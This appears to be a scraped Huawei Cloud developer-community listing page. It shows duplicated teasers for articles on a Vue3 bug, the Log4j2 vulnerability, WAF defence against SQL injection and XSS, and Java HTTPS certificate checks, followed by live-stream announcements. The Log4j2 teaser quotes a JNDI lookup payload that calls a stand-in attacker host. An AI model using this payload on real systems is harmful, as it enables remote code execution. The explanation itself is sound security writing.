- 人们眼中的天才之所以卓越非凡，并非天资超人一等而是付出了持续不断的努力。1万小时的锤炼是任何人从平凡变成超凡的必要条件。———— 马尔科姆·格拉德威尔🌟 Hello，我是Xxtaoaooo！🌈 “代码是逻辑的诗篇，架构是思想的交响” 摘要最近在团队Vue3项目中遇到了一个极其诡异的响应式失效问题。这个bug的表现形式让人困惑：数据明明已经更新，但视图却没有重新渲染，而且这种现象只在特定的... 人们眼中的天才之所以卓越非凡，并非天资超人一等而是付出了持续不断的努力。1万小时的锤炼是任何人从平凡变成超凡的必要条件。———— 马尔科姆·格拉德威尔🌟 Hello，我是Xxtaoaooo！🌈 “代码是逻辑的诗篇，架构是思想的交响” 摘要最近在团队Vue3项目中遇到了一个极其诡异的响应式失效问题。这个bug的表现形式让人困惑：数据明明已经更新，但视图却没有重新渲染，而且这种现象只在特定的...
- Log4j2漏洞的本质与攻击特征2021年底爆发的Apache Log4j2远程代码执行漏洞（CVE-2021-44228）彻底改变了业界对基础组件安全性的认知。该漏洞源于日志处理中的JNDI动态解析机制：当日志内容包含${jndi:ldap://evil.com/exp}类表达式时，Log4j2会主动向恶意LDAP服务器发起请求，加载并执行远程代码。这种设计本意是提供灵活的配置能力，却成... Log4j2漏洞的本质与攻击特征2021年底爆发的Apache Log4j2远程代码执行漏洞（CVE-2021-44228）彻底改变了业界对基础组件安全性的认知。该漏洞源于日志处理中的JNDI动态解析机制：当日志内容包含${jndi:ldap://evil.com/exp}类表达式时，Log4j2会主动向恶意LDAP服务器发起请求，加载并执行远程代码。这种设计本意是提供灵活的配置能力，却成...
- 在瞬息万变的网络攻防战场上，SQL注入（SQLi） 与 跨站脚本攻击（XSS） 如同两柄淬毒的古老匕首，历久弥新，持续威胁着Web应用的安全命脉。面对海量请求与日益精进的攻击手法，传统规则库防御常陷入“误杀”与“漏网”的困境。华为云WAF（Web应用防火墙）凭借其深度语义分析、智能行为建模与云原生弹性防御体系，为开发者提供了一把精准切割威胁的手术刀。本文将深入剖析其防御机制，结合实战场景，揭... 在瞬息万变的网络攻防战场上，SQL注入（SQLi） 与 跨站脚本攻击（XSS） 如同两柄淬毒的古老匕首，历久弥新，持续威胁着Web应用的安全命脉。面对海量请求与日益精进的攻击手法，传统规则库防御常陷入“误杀”与“漏网”的困境。华为云WAF（Web应用防火墙）凭借其深度语义分析、智能行为建模与云原生弹性防御体系，为开发者提供了一把精准切割威胁的手术刀。本文将深入剖析其防御机制，结合实战场景，揭...
- 背景由于安全方面的需求，针对java发起的接口请求，需要使用https请求，同时需要进行证书校验，确保请求访问可信。但是经过调研发现，基本上很难有人说清楚该怎么校验，没有完整的模板套件，直接拿来用。综合整理下来，感觉原因无非1.与https的证书校验，如果需要达到百分百的校验，其实还是比较复杂的。 2.java后端请求有很多种请求方式，每种方式的使用的类，校验方式又不同，又进一步增加了复杂性... 背景由于安全方面的需求，针对java发起的接口请求，需要使用https请求，同时需要进行证书校验，确保请求访问可信。但是经过调研发现，基本上很难有人说清楚该怎么校验，没有完整的模板套件，直接拿来用。综合整理下来，感觉原因无非1.与https的证书校验，如果需要达到百分百的校验，其实还是比较复杂的。 2.java后端请求有很多种请求方式，每种方式的使用的类，校验方式又不同，又进一步增加了复杂性...
上滑加载中
推荐直播
-
华为云码道Skill实战与极速交付，智能开发全链路实战2026/07/22 周三 19:00-21:00
王一男-华为云码道产品规划专家；李炎-华为云码道产品专家；姜浩-华为云HCDG核心组成员
直播深度解读华为云码道6月产品新特性，从Skill市场安装专家技能，带你零距离体验从需求，开发，审查，重构全链路闭环的开发过程。从零构建并交付一个完整项目，让您体验从代码提交到服务上线的“极速”之旅。
回顾中 -
聚开发者之力，创具身新未来2026/07/23 周四 15:00-17:00
张豪杰/程文/王军/刘新春/黄钦开 /张晓天
本次华为云具身智能开发平台CloudRobo培训面向具身智能开发者，带您全流程体验机器人本体R2C小时级接入、环境重建与轨迹生成仿真数据生产、PB级数据管理、数据评测、模型训推、强化学习和Benchmark一键评测等功能，并体验业界主流具身模型应用。
回顾中
热门标签